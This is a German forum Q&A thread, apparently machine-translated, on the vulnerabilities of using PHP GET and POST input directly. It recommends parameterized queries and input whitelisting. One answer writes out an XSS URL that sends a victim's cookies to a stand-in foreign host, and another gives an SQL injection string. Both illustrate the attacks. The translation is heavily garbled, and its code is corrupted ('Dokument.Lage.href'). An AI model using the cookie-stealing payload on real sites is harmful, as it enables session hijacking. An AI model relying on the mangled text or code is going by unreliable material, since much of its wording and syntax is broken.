was sind die Schwachstellen in der direkten Verwendung von GET und POST?
ich will wissen, was sind die Schwachstellen während der Verwendung der GET und POST-Variablen direkt.
ie mit heraus trimmen und die addslashes-Funktion und die mysql-escape-string so etwas wie, dass.
Meine Frage ist
Was wir aufpassen müssen beim spielen mit GET und POST.
Welche Art von Angriffen gibt es wie SQL-injection?
- Die Allgemeine Regel lautet "don' T trust user input". Alles, was vom Nutzer in irgendeiner form muss die Sicherheit geprüft werden.
Du musst angemeldet sein, um einen Kommentar abzugeben.
Im Allgemeinen und nicht beschränkt auf GET und POST, sondern auch alle Daten, die von außerhalb des Systems (einschließlich cookies in web-Anwendungen):
Fast alle Schwachstellen nach unten kommen, um "Die Benutzer ausführen können, was auch immer code, den Sie wie die im Kontext übergeben Sie Ihre Eingangs-zu".
etc.
Müssen Sie darüber nachdenken, was Sie mit den Daten macht. Suchen Sie eine Liste der möglichen Dinge, die schief gehen können, wenn die Annahme befleckt-Eingang in jedem system in der Welt ist nicht zu produzieren, eine erschöpfende Liste.
Und nebenbei: vergessen addslashes (es ist nicht wirksam), vergessen mysql_real_escape (es ist zu leicht, einen Fehler zu machen mit ihm). Verwendung von parametrisierten Abfragen: Wie kann ich verhindern, dass SQL-injection in PHP?
Einfachste mögliche XSS-Attacke mit einem kleinen bisschen social-engineering -
Können angenommen, Sie haben eine einfache PHP-Anwendung, die verwendet Sitzungen, Nutzer zu verfolgen. Und es hat eine Art admin-interface, wo der Benutzer mit einer höheren Berechtigung können wir sagen, Inhalte zu Bearbeiten.
Und lässt vermuten, dass Sie als administrator angemeldet zu dieser Website, und dass es innerhalb dieser Anwendung eine Datei request.php mit dem folgenden Stück code
Und jetzt jemand dies erkennt, konstruiert die folgende url http://yourapp/request.php?action=Dokument.Lage.href='http://foreignsite?c='+document.cookie
Dann, dass jemand fügt diese url tinyurl.com und verkürzt es so etwas wie http://tinyurl.com/x44534, dann schickt er Ihnen eine e-mail, die besagt "hey, Blick auf diese, Sie meinen es nützlich finden".
Klicken Sie auf den link, tinyurl.com übersetzt die kurze url zurück zum langen, leitet Ihrem browser, um Ihre request.php glücklich Ausgänge die Javascript aus der Abfrage, die Ihr browser versteht es, führt es und als ein Ergebnis, die person, die läuft http://foreignsite bekommt alle Ihre cookies.
Dann er muss nur legen Sie die cookie Werte in seinem browser, und voila, er hat sofortigen Zugriff auf Ihre Website admin-interface. Weil er Ihre session-cookie.
Diese beschrieben die einfachste mögliche XSS-Angriff, es ist wirklich simpel, wird wahrscheinlich nicht funktionieren, im wirklichen Leben, aber hoffentlich haben Sie die grundlegende Idee, wie es funktioniert.
Wenn Sie eine GET-oder POST-Variablen und effektiv "führen", ohne dass es übergeben Sie es durch einen filter von einigen Arten, sind Sie öffnen sich bis zu-injection-Angriffe. SQL-injection ist natürlich ein sehr häufiger Fall, aber wenn Sie tun, jede Art von
eval()
mit, dass die Daten (in einer Programmiersprache, oder jede andere Datenbank oder interpretiert situation - einschließlich der Weitergabe HTML zurück an den browser interpretiert werden, die auf dem client), dann versierter Angreifer können Handwerk, input-Daten, mit denen Ihre Anwendung die Dinge tun, die ungewollt.Wie die Leute schon geschrieben haben, alle und alle Benutzereingaben sollten so behandelt werden, als schädliche, unabhängig davon, wie sicher Sie sich auch fühlen mag.
Entwickler denken über die Sicherung der code an der Zeit, die Sie schreiben, und wenn Sie die änderungen, während Hacker denken Durcheinander, dass code, wo immer Sie sich entscheiden, um einen Riss an es kann heute sein, morgen oder in zwei Jahren. Was haben könnte, schien sich absolut sicher an der Zeit, die der code geschrieben wurde, kann sich ausgenutzt werden, zu einem späteren Zeitpunkt.
Grundsätzlich sollten alle Eingaben werden gefiltert, geprüft und desinfiziert religiös unabhängig davon, was es verwendet wird, für die zu einem bestimmten Zeitpunkt. Jemand könnte überspringen auf die Desinfektion ein Stück von Benutzereingaben, da "es wird nicht für alles verwendet werden, die Schaden anrichten können", dann 11 Monate auf der Linie, jemand auf das team entscheidet sich für die presumedly sanitized Daten, die einer Variablen zugewiesen, die in einer SQL-Abfrage oder ein system. exec-Aufruf und das ganze system bläst.
Was getan werden sollte:
whitelist statt Blacklist
- wissen, was input-Typen, die Sie erwarten und konvertieren Benutzer-Daten entsprechend, ids sind in der Regel ganze zahlen, also ist es sicher zu wandeln Sie alle eingereichten ids als zahlen an.
- wissen, Wann Sie erwarten, dass kleine Mengen von Daten, und wenn Sie erwarten, dass große. Persönliche Namen sind in der Regel relativ kurz und enthalten keine Ziffern, "1'; DROP TABLE Kunden;" ist nicht ein richtiger name, und Sie können wissen, dass ohne das hinzufügen von slashes.
dann blacklist einige nur für den Fall,
- wenden Sie das standard-Escapezeichen Logik auf alle Daten, die durch Ihre whitelist, nur für den Fall,
dann filter und einige mehr
- bis Sie sich sicher fühlen
hauptsächlich CSRF, XSS-und Directory-traversal:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://en.wikipedia.org/wiki/Cross-site_scripting
http://en.wikipedia.org/wiki/Directory_traversal
Es reicht, um ein bisschen mehr als nur "get" oder "post". Seinen alles abhängig von der Programmierung, die Sie getan haben, um Sie zu unterstützen. Wenn Sie nur mit einer statischen html-Seite, nicht eine ganze Reihe von Schwachstellen. Wenn auf der anderen Seite, werden Sie die Einstellung und ändern von Daten durch get-Anfragen, die Sicherheitsanfälligkeiten können endlos sein, nur schauen die Fälle der google-bot ausradieren von Daten von Orten, die verwendet 'get' zu Unterwerfen Dinge.
Es hängt alles davon ab, was Sie mit den Daten, und die Schwachstellen sind nur für get oder set. Desinfizieren Sie Ihre Eingaben.
GET-und POST-Daten, ist-Daten direkt an den Benutzer. Bekommen Sie es roh mit keine überprüfung oder Validierung zwischen dem Benutzer und Ihrem Programm. Selbst wenn Sie wurden zur Validierung der form, dass sollte stammen die Daten, die ein Angreifer kann manuell Handwerk eine Anfrage mit, welche Daten er haben will. So müssen Sie immer behandeln Daten als nicht Vertrauenswürdige Benutzer-Eingabe.
Gibt es eine Reihe von Angriffen, die sich auf die Programmierer vergessen, die Anfrage-Daten ist unseriös, aber die bekannteste ist SQL-injection. Die Ursache der SQL-injection ist eine Abfrage erstellen, indem Sie manuell die Verkettung von strings, von denen einige nicht Vertrauenswürdige Benutzer-Eingabe. Dies bedeutet, dass Sie sagen, Ihre Datenbank, zum ausführen von nicht vertrauenswürdigen user input.
Die naive Lösung, um SQL-injection ist die Validierung der Eingaben und dann verketten Sie in einem query-string, aber das ist schlechte form. Sie verlassen sich auf Ihre Validierungslogik, um die saite sicher, und wenn Sie Sie missbrauchen -- oder die Logik fehlerhaft ist-dann sind Sie wieder Angriffen ausgesetzt.
Die richtige Lösung ist die getrennte Abfrage von Daten, die es enthält. Nahezu alle Datenbank-Adapter, die diesen Ansatz unterstützen, und wenn Ihnen nicht der Fall für einige Grund, es ist nicht fit für den Einsatz. Die häufigste Sprache ist (in keiner Sprache):
myDB.query("select * from Zeug where id=?", [42]);
Dies wird gewährleisten (in solch einem system), dass die Parameter werden nicht ausgeführt. Der query-string ist aufgebaut aus ganz Vertrauenswürdige Daten, die nicht Vertrauenswürdige Daten getrennt ist. Im schlimmsten Fall, kann dieser Ansatz angewandt, um unsachgemäße Eingabe kann führen zu falschen Daten, nicht einen falschen Befehl.
Dieser Ansatz zur Vermeidung von SQL-injection-highlights das zentrale Prinzip, das gilt für alle Arten von Anforderungen, Daten-Angriffe: die Daten anfordern, die Ihnen nicht gehören und es ist nicht sicher. Beim Umgang mit Benutzereingaben, einschließlich der Anforderung von Daten, immer davon ausgehen, dass es der Ursprung von einem Angreifer mit der intimen Kenntnis von Ihrem system. Es mag paranoid sein, aber es hält Sie immer sicher.
Alle superglobals können manipuliert werden, die von user-agents. $_SERVER, $_POST, $_GET, etc.